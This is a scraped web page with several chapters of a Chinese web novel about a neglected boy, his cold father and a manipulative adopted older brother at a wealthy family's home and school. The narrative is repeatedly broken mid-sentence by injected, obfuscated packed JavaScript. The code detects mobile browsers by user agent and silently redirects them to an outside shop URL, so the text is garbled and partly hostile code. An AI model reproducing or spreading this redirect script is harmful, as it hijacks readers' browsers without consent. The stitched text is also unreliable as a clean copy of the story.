d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154567|196524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 季珣赶紧摇头，“没有。” “那为什么要挣脱？” “我不挣了。”季珣不敢动了，任凭他握着自己的手腕。 他神情兴致勃勃，“叫声哥哥来听听。” 季珣喊他：“哥。” 他纠正，“哥哥。” “哥哥。”季珣像个只会应答的AI，按照提示，一步步运行程序，头几乎要埋到胸口。 他满意地低笑出声，又问：“课程上有什么不懂的地方么？” 这段时间，季珣有不懂的就会问他，比自己自学进度快多了，摇了摇头，“暂时没有，有我再问你。” 他又笑了下，“还挺聪明，二模应该能进步不少。” 听到他的夸奖，季珣心里像是揣了只扑腾的小麻雀，说不出的开心，低着头不敢看他的眼睛，“我会努力考得好一点，不让爸爸再像上次一样生气。” 他漫不经心地嗯了一声，“其实，爸爸没有生你的气。” “没生气？”季珣只要想起那天季达强的模样，就觉得满心惊惧，怎么会没生气，疑惑地看着对面。 他背着台灯，坐在床上，黑色瞳眸莫名有些沉。 片刻后，伸手来拨季珣额前的发丝。 发丝扫过眼睛，季珣忍不住眨了眨眼。 他看了几秒，手指顺势往后，不轻不重地握住季珣的后颈。 季珣不自觉瑟缩了一下。 他沉声，“别动。” 脖颈是身体很敏/感的部位，季珣僵着身体，一动不动，却能清晰地感觉到他修长的手指不轻不重地扣在自己的脖颈上。 掌心干爽温热，贴着皮肤。 他打量了几眼，“性格不像，但是长得真的很像。” 季珣问：“像谁？” “像爸和妈。” 扣在脖颈上的手指动了动，指腹扫过季珣的脸颊和耳根，细腻摩挲的触感带来一丝酥麻。 季珣再次缩了缩脖子。 脖颈后的手收紧，季辞往前倾身，细微地蹙眉，“不是让你别动么？” “我不动了。” 他的睫毛翕动在空气里，像草叶上舒展的蝶翼，视线停在季辞的面容上，声音轻忽，“难怪他下不了手。” 季珣听不懂，懵懵地问：“哥，你在说什么？” 他没回答，松开手，面容上重新堆起温柔的笑容，“很晚了，以后再跟聊，先乖乖睡觉。” 说完，站起身，开门离去。 这间小房间重新变得空寂。 许久之后，季珣才轻轻地呼一口气，侧身躺倒在床上。 看着台灯落下的灯光，脑子里不自控地又想起方才，季辞的手指触碰在自己脖颈上的感觉。 那是他从来没有体会过的感觉，像是某种拥护，又带着若有似无的占有。 因为自己是他的弟弟吗？ 季珣拉起被子把自己整个人都罩住，片刻后，在微热的脸颊里，伸手摸了摸自己的后颈。 9. 第 9 章 平时学习已经很紧张，周末的时间，难得可以稍微松弛些。 季珣早上起床，背了会英语单词，站在自己的房间里往下看去，就看到季辞。 季家的花园很大，季珣第一天来的时候几乎以为是公园，直到走进客厅，走进那间小房间。 他才清晰地意识到，自己真的有家了。 再也不用像只没人要的小狗一样，在外面流浪。 花园里有个棕色的实木小屋，亭子里摆放着白色的躺椅，可以躺在那里享受花园里的精致景观。 季珣扒在自己房间的窗台上，看到季辞今天没有出门，正用课本盖着脸，躺在躺椅上。 季珣告诉自己，其实花园里更好读书，拿着课本跑到花园里。 靠近木屋，见躺着的人一动不动，不禁放轻了脚步。 难道真的睡着了？ 不是才起床么？ 走到跟前，盖在物理课本下的人还是没动静。 季珣忍不住凑近，想看看他。 刚弯下腰，就被抬起的胳膊用力一揽。 季珣往前扑倒，手里的书也掉到了地上。 季辞搂住人，摘掉脸上的书，微微仰起头凑近，“弟弟想干嘛？” 低沉的声线裹挟着热气打进耳道，随之而来的还有独属于季辞这个人的气息，季珣只觉得心尖细微一麻。 然后，发现自己正按着他胸口，想收回来，却被他伸展的手臂搭着肩膀，无法直起身，顿时局促地不知道该把手放到哪里去，“哥。” 阳光从木屋屋顶缝隙落下，映出他笑容里的一抹戏谑，“找哥哥一起学习么？今天想学什么？” 季珣支吾，“我……” 他长睫垂落，视线不疾不徐地从季珣面容上扫过，然后才收回手，放开搂着的人。 季珣松了口气，想退开些，却又莫名留恋他的气息，半蹲在躺椅边，仰头看着他，“哥，你在装睡吗？” 他神情有些淡，“真睡，但被你弄醒了。” 季珣小声辩解，“我没有发出声音。” “其实是昨晚没睡好。” “为什么？” 他站起身，抻了个懒腰，“泡杯咖啡去。” 难道真的是自己把他弄醒了，季珣有些愧疚，听到他要喝咖啡，伸手揪住他衣摆，“哥，我知道咖啡在哪里，我去给你泡吧。” 看到季辞停下脚步，季珣赶紧往屋子里跑。 上次见过放咖啡的地方，季珣拿出盒子，倒好咖啡粉在玻璃杯加上热水，用勺子搅拌融化。 水很烫透过杯壁传递到手上，端起来有点烫，但季珣怕他等久了，还是赶紧端出去。 放在躺椅旁的小桌上，期待地看着他重新从躺椅上坐起，淡淡扫来一眼，“这种东西怎么喝？” 季珣僵住，局促地问：“这……不就是咖啡么？” 他偏过头，小声嘀咕了一句。 季珣好似隐约听到一个“乡下”，也不敢多问。 他再回头时，面容间重新带上了温和的微笑，“你跟我进来。” 季珣亦步亦趋地跟着他走进客厅。 季家别墅的客厅连着餐厅，餐厅宽大，还有宽阔的中岛台面，各种厨具家电摆放整齐，擦拭得光洁干净。 侧面落地窗前是一条吧台，褐色的实木架子上摆放着长嘴的水壶，还有各种漂亮的杯子。 季珣之前没有靠近过。 懵懵地跟在季辞身后走过去，看着他拿了玻璃罐，倒出里面的黑色豆子，研磨成粉。 闻到空气里弥漫的醇厚香气，季珣才知道这是咖啡豆。 有好多东西，自己从来没见过。 磨好咖啡粉，季辞拿出一张滤纸，对折再对折，然后架在一只滤杯上。指节分明的手握住烧好热水的长嘴壶柄。 一圈一圈，缓慢地倾注在滤纸里的咖啡粉上。 他站在盛满阳光的吧台前做这些，动作舒缓，手指稳定，看着只觉得赏心悦目。 咖啡粉被热水一激发，空气里像是炸开了一枚小型的香气炸弹，肆意地侵占鼻息。 季珣忍不住抽了一下鼻子，让旁边的人瞥过来一眼。 滤了两遍，咖啡杯里剩下的是清澈透明的褐色液体，往空气里浮动着热气。 他端起杯子，正要放到唇边，想是意识到身边的人，动作一顿。 重新把杯子摆到季珣跟前，“尝尝。” 和刚才自己冲泡的那杯不同，咖啡杯里的液体清澈剔透，看不到一点粉质。 季珣第一次看别人手冲咖啡，才知道他刚刚那句“这东西怎么喝”是什么意思。 本来是因为打扰了他睡觉，想帮他冲咖啡，最后还是没做好，季珣心里满满的失落。 端起咖啡，心不在焉地尝了一口。 清晰的苦味在口腔里弥漫开来，顿时，整张脸都紧紧地皱成了一团。 好几秒，季珣才不解地问：“怎么不是甜的？” 季珣的概念里，咖啡不应该是和奶茶一样，是甜的么？怎么会是纯粹的苦涩？ 季辞的眉梢细微地抬了下，像要笑出来，最后还是抻平，伸手扣住杯沿作势要抽走，“不喝拉倒。” “我喝我喝。” 季珣不想让他生气，抓紧手里的杯子，憋着气一口把咖啡灌下去了。 竭尽全力，没有露出太多表情，把空咖啡杯放回桌上。 男生淡淡笑问：“好不好喝？” 季珣挤出微笑，回答：“好喝。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154568|196524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他伸手拿过放咖啡豆的罐子，用勺子不换不忙地往称上舀着咖啡豆，“那哥再给你冲一杯？” 季珣的笑容僵在脸上，“可……以，谢谢哥。” 幸好，他又在逗自己。冲好第二杯，他自己端上去花园去了。 季珣松了口气。 怎么会有人爱喝这么苦的东西。 季珣回到花园，不敢再影响他，自己一个人待在木屋角落的桌上做题，遇到不懂的才过去问一下。 明明两个人没有说几句话，但只要想到哥就在不远处。季珣就觉得心里好像也藏了枚棒棒糖。 ——未曾尝到那缕甜味，但只要触碰到糖纸，就能感觉到那种快乐。 上次季辞给自己的棒棒糖他一直舍不得吃，藏在房间书桌的抽屉里，时不时就会拿出来看看。 他一个人太久了。 在那间四面漏风小仓库里，吃捡来的菜叶和单调无味的白米饭。 人是群居动物。长久的孤独，有时候比饥饿，比寒冷更难以忍受。 中午的时候，两个人一起吃了三明治，季辞就出门了，季珣等到很晚也没见他回来。 周日，季珣一起床就赶紧往花园看去，也没有看到他的身影，房间里也一直没看到他出来。 只能一个人待在花园里学习，往大门口看了好多次。终于忍不住，询问正在修剪花枝的王叔：“王叔，你知道我哥去哪里了？” “我听说提车去了。” “提车？” 季珣没有听过这个词，不知道这个词是什么意思。 王叔的眼神微妙地变了变，温和地解释：“小辞之前订了一辆跑车，昨天车到了，他提车去了。” 原来是这个意思。 季珣怎么也没想到，买车这个词会和一个高中生联系到一起。 不过，季辞真的和自己完全不一样。他什么都会。 周一，季珣刚到学校就听到蒋恪知他们在议论。 “快看快看！八卦博里说季辞买了辆跑车，今天自己开车来的学校，就停在校外的那个停车场里。” 自从那天体育课之后，蒋恪知每次一聊季辞，总要意有所指地来看季珣。 “这个颜色，嘻嘻，感觉他看着正经，其实还挺闷骚。” “闷骚不是正中你下怀？看谁比谁骚！” “听说这车三百多万。” 三百万，是季珣想想象不出来的天文数字。 “哎呀，是神的常规操作了，他爸妈就他一个孩子，以后季家的财产都是他的，三百万算什么。” “真是气死人了，这种身家，还来学校里卷我们！” 季珣突然有些好奇，要是同学们知道季辞有个弟弟，会是什么样的反应。 10. 第 10 章 下午，班长何响代班主任张晖通知，下周会进行二模考试，教室里顿时一片哀嚎。 对高三的学生来说，虽然模拟考不是高考，但每一次考试都会影响到学生的心态。 “一模我们班平均分不太理想，老张应该挺急的。” “卷吧卷吧，卷不死就往死里卷。” “有243班，尔等终究是妃啦。” “其实，我们班之前和243差不了多少。”蒋恪知慢悠悠地开口，故意把语调拉得很长，像是提醒般说道：“记不记得，我们之前时不时还能超过他们，就是被有些新来的拉低了。” 周遭微妙一静。 微妙的视线落在身上，季珣只觉得如芒在背，只能窘迫地低着头。 他不知道蒋恪知为什么要这样针对自己？ 只是因为自己同样是择校生么？ 何响继续通知全班，二模之后，张晖会给大家安排一场放松的集体活动。 教室里群情激奋。 “哇，什么活动？怕大家学傻了是吧，哈哈。” “什么活动？不会又是湖边烧烤吧？” 班长何响回答：“恭喜你，学会抢答了，就是湖边烧烤。” “我就知道，这顿烧烤，该来的它总会来的！” 李楠伸头过来告诉季荀：“老张最喜欢去灵石湖烧烤了，带我们这三年，每年必去一次。老张就是这样，一边卷生卷死，一边怕我们压力太大，抑郁了。” 原来是集体活动。 季荀从小学到初中到高中，从来没有参加过集体活动。 没有参加活动的钱，更没有参加活动的时间。 这些是重要的原因，但更要紧的是，参加集体活动需要父母签责任书，同意参加，学生才能去。 他没有爸妈，甚至没有一个亲人，没有人会帮自己签责任书。 但现在不一样了，自己有爸妈了。想到可以和同学一起参加班级活动，季珣心里像有只小麻雀似的，蹦蹦跳跳期待地往外钻。 “终于可以出去放风了，真要憋死了！” “到时候开黑啊，我本是辅助，今晚来打野。” “去你的！” “既然烧烤，那我老样子，给大家准备牛肉，绝对没有科技与狠活。”家里做牛肉生意，外号卤蛋的男生一嗓子喊起来，教室里的同学都蚌埠住哈哈大笑。 另一位同学接上，“那我带五花肉和几样素菜。” “那我只能带饮料了，咖啡还是奶茶，大家随便点。” “肃静！”热闹的议论被何响叫停，“先听我说。” “给班长架麦！” 何响提醒：“毕竟是高三了，大家这次出去务必要注意出行安全，毕竟摔了伤了都要影响学习的。” “老何你废话可真多，跟老张一脉相承。” 班长公事公办，“事先还是问一下，有没有同学不想参加？” “虽然现在学习任务重，但只剩最后一年了，去一次少一次的。” “就是，223班可没这种人啊。。” 大家正吐槽着，听到蒋恪知拖着调子的嗓音，“问问新来的转学生呗。” 转学生？不像别的同学知根知底，转学生刚来，话又少，谁知道他去不去？ 一片如密网般的视线，再次笼罩在季珣身上。 何响问：“季珣，你刚来我们班，所以得和你确认一下，你要参加么？” 季荀按耐着心里的期待，点头，“班长，我参加。” 何响还没开口，蒋恪知又先出声了。 他带着得意的笑，眼睛尖针似的觑着季珣，“你愿意参加集体活动，我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154569|196524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肯定是欢迎的，不过班级活动要大家参与，每个同学都要为这次烧烤活动出钱出力。” 季珣刚才也听到大家所说的，点头，“我会准备的。” 季荀回到季家以后，有吃有穿有住。虽然不像季辞那样，有张自己想象不出额度的信用卡，还能买上百万的豪车。但爸妈也给了零花钱，每个星期两百块，让他买点教材日常用品。 季荀只买过一本学校要求的习题集，到现在三个月，存了560块钱。 他愿意拿出自己的零花钱，给同学们买水果饮料。 因为他真的很想融入这个集体。 蒋恪知笑得更得意了，“都知道你是有钱人家的少爷，所以怎么也得给大家准备点平时吃不上的好东西吧。” 季珣不知道他指的好东西是什么，来到南城后，他一直待在家里，没有出去过。 “季少爷要给大家准备高档点的，大家想吃什么，尽管提。” 蒋恪知说完，另外两个择校生立马一唱一和地开腔，“要不季少爷请全班喝个云茶吧，我还没喝过呢。” “我比较想吃TERR的巧克力。” “嘻嘻，要不请季少爷请我们吃沐沐的蛋糕吧。季少爷有的是钱。” 这些奶茶、巧克力和蛋糕的名字，季荀不认识，听得一头雾水。 蒋恪知笑看着季荀，“那就请季少爷给同学们一人准备一份沐沐的蛋糕吧。” 季珣还想再问，上课铃响起，何响打断教室里的声音，安排：“那就这样吧，除了刚刚说的几位同学，其他人把自己要准备的东西报到我这里来。” 季荀不知道沐沐蛋糕是什么，但看到蒋恪知和两个择校生转开目光时，眼里得逞的恶毒笑意。 “平时看他抠门着呢。” “校服里的毛衣，没看到他换过。” 11. 第 11 章 没有换过毛衣。 因为他只有这件毛衣。 他也很喜欢这件毛衣。每天晚上，他都会用家里的洗衣机洗净烘干，再叠好放在枕头边。 难道这也是那三个择校生不喜欢自己的理由么？ 同学们开始各自学习，李楠满脸惊诧地探头过来，小声问：“你真要给大家准备沐沐的蛋糕么？” 季珣惶然地看着他，“怎么了？” 看到李楠在外卖软件上搜索出来的沐沐蛋糕，季荀傻眼了。 琳琅满目的蛋糕精美漂亮，只是看着就知道很香甜，但价格也很“漂亮”。 三角形的一小块，一百多。 季珣愣在原地。 一百多一块蛋糕，全班五十个同学，一人一块，要五千多。 还有刚刚那几个择校生提到的TERR的巧克力和云茶，也都是季珣无法理解的价格。 难怪，那三个择校生是那样的神情。 以前在乡下的时候，季珣看到过村里的小孩过生日，父母花一百多块钱，买了一个巨大的蛋糕，根本吃不完，还给他了一块。 那块蛋糕放在嘴里的香甜滋味，直到现在，他还清晰记得。 投入紧迫的复习之后，二模如期而至。 “这次的数学好难啊啊啊啊！” “最后一个大题没做出来，要遭。” “考完就别想了，还有三模四模五模呢。” 二模之后就是中秋节假期，同学们的心情都松弛下来不少。 季荀不确定考得怎么样，但之前很多不会做的题目，按照平时季辞教的思路，都轻松地做出来了。 如果能拿到好成绩，他想第一时间告诉哥哥。 下午回到家，依旧看不到其他人的身影，车库里也不见季辞那辆深红色的跑车。 餐厅的桌上像往常一样给自己留下了食物。 这段时间，季辞都是开车上下学。 有时，季珣下楼他还没出门，但他不会等，也不会让季珣一起。 季珣只能看着他走出客厅，听着引擎的轰鸣远去。 其实，不管是坐季辞的跑车，还是坐公交车，都能到学校。 但季珣忍不住会想象和季辞一起上学的画面。 如果永远不让人知道自己和季辞是兄弟，是不是永远不能像普通的兄弟一样，和他一起上下学。 今天是周五，马上就是中秋假期，不知道爸妈会不会回来。 如果爸妈回来，要怎么说参加集体活动的事，他们又会不会允许自己参加。 正一个人在餐厅吃着饭，想着这些烦恼，外面传来停车声。 继而是母亲苏曼欢喜的声音，“阿辞，你看，爷爷还是最疼你，把最好的那块给你了！” 父亲季达强也言语得意，“老大老三家养出来的那些废物，怎么跟我们阿辞比。” 季辞的声音温柔，“都是爸妈教导得好。” “是你自己努力。” 季珣好像听出来了，是爸妈带季辞去看爷爷了。 季辞的爷爷，不就是自己的爷爷？ 自己有爷爷？ 但是没有人告诉过自己。 而且，爸妈带季辞去见爷爷，但为什么不带自己去呢？ 正胡乱想着，三个人已经走进客厅，季珣赶紧站起身，走到餐厅和客厅连接处，乖巧地喊：“爸妈、哥。” 季达强如同看到空气般，径直穿过客厅，走到后面泳池旁的花园露台，点起雪茄抽着。 苏曼边换拖鞋，边对季珣可有可无地点点头，走进了卧室。 季珣看向季辞，小声喊他，“哥。” 季珣想问问他，是去见爷爷了吗？爷爷是什么样的？是不是像视频里小说里看过的那样慈祥和蔼？ 但季辞并没有多看自己，听到季达强喊：“阿辞，过来。” 便转开眼，径直走向花园，后面传来两父子的对话。 “那车怎么样？” 季辞回答：“不太好开。” “今天做得很好，你有什么喜欢的，再挑一个吧。” “谢谢爸。” 两百万…… 季荀抓着筷子愣在餐桌前。 季辞可以买两百万的车，那自己是不是也可以给同学们买蛋糕，参加集体活动？ 自从来到季家，季荀还从来没有提过任何要求，只要有吃有穿有书读，他就很满足了。 对着餐桌踟蹰了许久，他终于鼓起勇气，放下筷子，走到后面的花园。 季家的别墅花园很宽阔。 深秋的夜风捎来几分清冽的凉意。 花园由王叔全权打理，草地厚密，悉心修剪过枝条的月季，几朵迟开的粉瓣半垂着。 季珣刚走到附近，就听到父亲冷冷的话语，“你来干什么？” 仿佛季珣是闯入两父子之间的不速之客。 季珣知道，自己刚回来没多久，和父母的感情不像季辞那么深。 走到父亲跟前，局促地绞着手指开口：“爸，我有件事想和你说。” “说。” “我这个周末想和同学一起参加集体活动。” 季达强不悦地皱眉，“高三还有集体活动？” “是前段时间一直密集复习，班主任给我们放松一下，就占用一下午时间……” 季达强不是很想看到这人，“要去就去，别来我面前碍眼，学校有什么事找何秘书。” 这就答应可以找何秘书签学校的告知单。 可以参加集体活动了，季珣忍不住有些开心，但还有沐沐蛋糕的事。 季辞可以买跑车，自己是不是也可以给同学买蛋糕？ 他知道，如果自己没带蛋糕去，那些同学会用什么样的眼神看自己。 见亲儿子站在不动，季达强有些不耐烦，“还杵着干嘛？” 季珣小声地说出蛋糕的事，“爸，因为是集体活动，所以每个人都要准备活动的食物。” 季达强投去锐利的视线，“要钱？” 被这个眼神吓到，季珣更紧张，“是因为全部同学，每个人都要准备……” 一看到亲生儿子这副畏缩的模样，季达强就气不打一处来。 季家是个大家族，那些亲兄弟、亲侄子无不对自己虎视眈眈。 这样的亲生儿子，怎么和那些豺狼们争？ 都说，兄弟三人，老二最不受重视。 季达强就是季家的老二，从小父亲就被看不起，分给他的公司是经营得最不好，分给他的家产是最少的。 他好不容易靠着精准的决策和果敢的判断，将公司从悬崖的边缘拉回来，以为可以改变父亲的看法，没想到会发生儿子被拐走这件事。 老爷子最看重香火传承，知道孙子被拐走后，大发雷霆，咒骂季达强是不肖子。 然后，再一次开始冷落他。 季达强当即决定重新收养一个孩子。 把孩子从福利院带回来后，他费尽心思地培养，季辞确实是个好苗子，听话乖巧，大方得体。学习成绩更是出类拔萃，深得老爷子的看重。 但，他不是季家的种，始终无法让老爷子真正接纳。 刚找到季珣的时候，季达强很兴奋，他以为自己可以重新用这个亲儿子获得老爷子的青睐，以便在这场大集团最后的股份争夺战里，拿回他之前失去的东西。 没想到找回来这样一个废物。 老爷子不会喜欢这个孩子，他对自己拿到季家家产不可能有任何帮助。 所以，季达强对他没有任何好感，甚至时常怀疑，根本没必要带回季珣。 过往那些不甘涌来，季达强把烟重重按灭在烟灰缸中，站起身，“季珣，你可真是个废物啊，考那么点分，不想着怎么读书，只想出去玩？” “你到底有没有想着读书，想着考个好大学？还是已经打算让老子我花钱把你送出国了？” 季珣背脊发冷，往后退了一步，“爸，我没有，我有好好学习。” 季辞就在旁边，季珣求救地看向哥哥。 余光里，只见季辞别开眼，起身走到泳池旁的房间里，像是要去换衣服游泳。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154570|196524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有帮自己解释的打算。 一瞬间，季珣只觉得喉间涌来委屈的涩意，几乎噎得他 “告诉你，我接你回来是要让你读好书，在老爷子面前给我长脸的，不是让你来当少爷的！” 如尖冰般刺来一句话，季达强转身走进了明亮的客厅。 季珣听不太明白，什么叫在老爷子面前长脸，却能感觉到，心脏在一点点地往下沉去。 旁边，季辞从房间走出来。 他已经换了泳裤，戴上泳镜，露出的身躯健康匀称，还有清晰可见的块垒肌肉。 站在池边不疾不徐地做了会热身运动。哗啦一声，轻捷地跃入水中。 泳池里，清澈见底的水流勾勒出男生线条紧绷的小臂和脊背，敏捷地游过，在身后留下一道弥合水线。 游到尽头，他扶住泳池边，回过头，摘掉泳镜，远远看过来时，眉眼间已经浮起温和的笑意，松弛地问：“要不要下来玩？” 季珣低下头，避开视线，转身跑回了屋子里。 他不是自己的哥哥么？为什么不愿意帮自己解释一句？为什么那么冷漠地对自己？ 自己这段时间有没有努力学习，他比任何人都清楚。 季珣跑回二楼自己的小房间，扑进被子里，只觉得鼻尖酸得厉害。 爸爸的误解让他满腔委屈，可是，季辞的冷漠更让他心里又酸又涩。 这是他从来没有体会过的情绪。 以前的挨饿，受冻，或是被人欺负为难，甚至拳脚相加时，都不曾有过的感情。 过去的自己没有期待，只是用一颗坚硬的石头般的心脏，抵御着生活的寒意。 如今，期待着爸妈的关爱，期待着哥哥的保护。 心头汩汩冒出的热气，一下子被浇灭了，失落、惆怅清晰地漫过心间。 他不知道怎么袒露自己真正的情绪。 因为从来也没人在乎，所以早就习惯了忍耐、妥协，遇到什么事，都只会缩进自己的小窝里，自己给自己疗伤。 房间里的窗帘没拉，窗外的天光一点点暗下来。 季珣在被子里闷了半天，缓和过心情，钻出来的时候，发现天已经黑了。 在床上跪直身体，从窗户向花园看去。 夜色如同丝绸，覆盖着这方精致美丽的花园。 灯光映照下，如同蓝色宝石的泳池一片平静。 游完泳了？ 现在去干什么了呢？ 还是出门了？ 自己从来也不知道他的动向，为什么要去想。 刚才爸妈他们回来时，季珣正在吃饭，因为和父亲交流的事，最后，只吃了几口。 窝了这么久，肚子开始饿了起来。 他以前饿了太多，他现在不想再饿了。 已经过了吃饭的时间，如果是季辞，只需要和张阿姨说，不管几点，阿姨都会起床给他做吃的。 季珣不想去麻烦张阿姨，他过去一直是自己给自己做饭，会做很多吃的。 即便只有几片白菜叶，他也能做出好几种不同的口味。 开门走出房间，别墅里静悄悄的。 往走廊深处看去，季辞房间的地面门缝漆黑一片。 这栋别墅真的太大了，没有季辞，就好似只有自己一个人。 走进厨房，打开冰箱，里面有很多食材，挑选了一会，季珣决定给自己煮碗面，再卧一只溏心蛋。 鸡蛋，便宜又美味，即便现在回到季家，吃了很多过去见都没见过的食材。 但季珣最喜欢的，还是鸡蛋。 煮好面，在热油锅里打上鸡蛋，小火煎一分钟，出锅。 热气腾腾的面条上窝着一枚鸡蛋，煎得很嫩的蛋白下隐隐可以流动的溏心。 把面放到餐桌上，想想，又起身，去给自己倒了杯水。 好吃的东西真的可以让人开心起来。 端着水走回餐厅的时候，季珣好像觉得自己没有那么难过了。 但是刚走两步，就猝然停住。 季珣端着水杯，看到季辞站在餐厅里。 12. 第 12 章 他扶着餐椅站在餐桌边，越过餐厅黯淡台灯的光线，带着若有似无的笑意注视着季珣。 傍晚，在爸爸面前，他冷漠的模样浮现在眼前。 季珣握紧手里的杯子，逃避般地转身往楼上走，只是赶紧跑回自己的房间里。 听到身后的人，漫不经心地问：“不饿么？” 仿佛触碰到磁极正确的一极，季珣不自觉地停下了脚步。 难以言喻的委屈又重新淹没心尖。 他刚才那样冷漠地对待自己，现在又为什么要来找自己？ 身后传来碗筷碰撞的轻巧声响，显然有人在用搁在碗沿上的筷子，搅拌着面条。 “这面条煮得这么好吃，不吃我吃咯。” 轻佻的尾音都带着逗弄。 见抱着水杯的人要往二楼走，季辞喊他，“过来。” 餐厅里只开了落地台灯，黯淡柔和的灯光从侧面铺洒过来，照出一道削瘦的背影，单薄的肩膀裹在白色短袖里，低垂的脖颈纤细又脆弱，掐在手心稍微用点力，就会让他惊慌失措，哪哪看着都那么可怜。 接触了这么久，季辞已经很了解，这个人就像张白纸一样，不但可以轻松看懂，还可以任由自己涂抹。 见站在楼梯口的人不动，季声音沉了沉，带着不容置喙地命令，“要我再说一遍么？” 他转身，眼里依旧闪烁着惊惶，脚步也慢吞吞的，来到跟前傻傻地站着，就像推一下动一下的拉磨的驴。 但季辞看得出，他还是那个乖巧听话的弟弟。 开口时，声音都重新变得温柔，“坐下啊，晚饭都没吃，肯定饿了。” 季珣在他旁边隔着一个空位坐下来，鼻尖莫名发酸。 他也不知道自己怎么会有这些奇怪的情绪。明明在心里告诉自己无数次，哥不帮忙解释，肯定有他的理由。 但就是挥之不去，像团毛线似的缠在心里。 季珣低着头不说话。余光中，看到季辞起身，移近了一个位置，挨着自己坐下，用温柔到近乎劝哄的声音问：“饿成这样还要跑？你能跑到哪里去。” 他手指碰了下面碗壁，然后弯下腰，“面已经冷了，要不要尝尝这个？” 有东西被摆放在桌上。 季珣抬起眼，看到是一只方形盒子。 餐厅的灯光很柔和，像薄暮般熨帖在盒子上，映出里面一只精美绝伦的粉色……蛋糕。 浅淡粉色奶油裱成精美的花朵和彩带，簇拥着中间色彩缤纷的水果。 优雅、精美，如同装饰品，和季珣脑海中对于食物的概念大相径庭，以致于季珣想象不出它的味道，只是怔怔地注视着。 从寄存面容上看到了自己想要的情绪和反应，季辞严重泄露出一丝满意，伸手解开蛋糕上面粉色的丝带，摘掉透明蛋糕盒。 奶油的香甜弥漫在空气中。 他又从搭配的小纸盒里拿出纸盘和叉子，放在季珣面前，近乎循循善诱，“很好吃的蛋糕，我特意去给你买的，要不要尝一尝？” 他给自己买蛋糕？ 他刚刚离开就是去给自己买蛋糕？ 他为什么要做这些事情？ 无数疑问在脑海中冲撞，让季珣没办法做出任何反应，只能迷茫地看着近在咫尺的人。 他保持着淡淡微笑的神情，像是永远对自己保持耐心。 见季珣不动，他捏着勺子，从蛋糕上刮了一段裱花，递到季珣唇边，“尝尝看。” 季珣从小到大只吃过一次蛋糕。 有一回，初中班里的同学过生日，准备了一个双层蛋糕，和班里的同学分享。 他平时很少说话，也从没给同学们带过零食。 看着周围的同学都在给那个过生日的同学送礼物，他只能低着头，尴尬地躲在自己的角落。 因为他没办法给那位同学送礼物，当然也没想过那位同学会和自己分享蛋糕。 但那个双层蛋糕实在太大了，吃到最后还有很多。 于是，那位过生日的同学也在他桌上放了一块。 用透明塑料小勺把奶油放到舌尖上的时候，他尝到了这辈子最难以忘怀的香甜。 那次之后，他每次路过蛋糕店，都会情不自禁的想起那个滋味。 可是，那些东西之于他，就像遥远的触碰不到的梦境。 他不敢想，不敢看。 只能把头埋得更低，加快脚步，远远逃离。 可是，午夜梦回之时，那个双层的、雪白的，散发着甜腻香气的蛋糕还是会肆无忌惮地闯入梦中。 眼前，季辞给自己买的这个蛋糕，比梦境里的双层蛋糕还要精美十倍。 那种自己心里想象回味过无数次的香甜气息，真实地氤氲在鼻息间。 季珣伸手去接勺子，他扬起手腕避开了，重新把蛋糕递到唇边。 季珣只能张嘴，把勺子含进嘴巴里。 比想象中还要香甜千百倍，柔软丝滑。 他笑了笑，“好吃么？” 季珣点头，“特别好吃。” 他把勺子塞进季珣手里，“赶紧吃。” 蛋糕已经被舀过一勺，不然，季珣恐怕不忍心破坏这些精美的裱花。 奶油香甜，下面的蛋糕坯无比松软，同时撵开在舌尖，配合得恰到好处。 季珣沦陷在蛋糕的美味里，吃得不亦乐乎。 明明都是一样的奶油，但总觉得粉色的花瓣和白色的丝带是不一样的味道。 旁边，季辞耐心地坐着，看着他吃，“这么好吃么？” “嗯嗯。” 他说：“让我也尝尝。” 季珣舀起蛋糕，把勺子递过去。 他抱着手趴在桌上没动，张嘴示意季辞喂。 季珣蜷了蜷手指，把勺子递到他唇边，他就着季珣的手，张口抿走蛋糕，“好吃。” “我听说，你们班组织烧烤，你们班的同学让你给大家准备沐沐的蛋糕？” 他知道自己在学校里的事？ 他其实悄悄地关心着自己。 季珣心脏漫过细密的热流，点头，“嗯。” 他示意桌上的蛋糕，“这个就是沐沐的。” 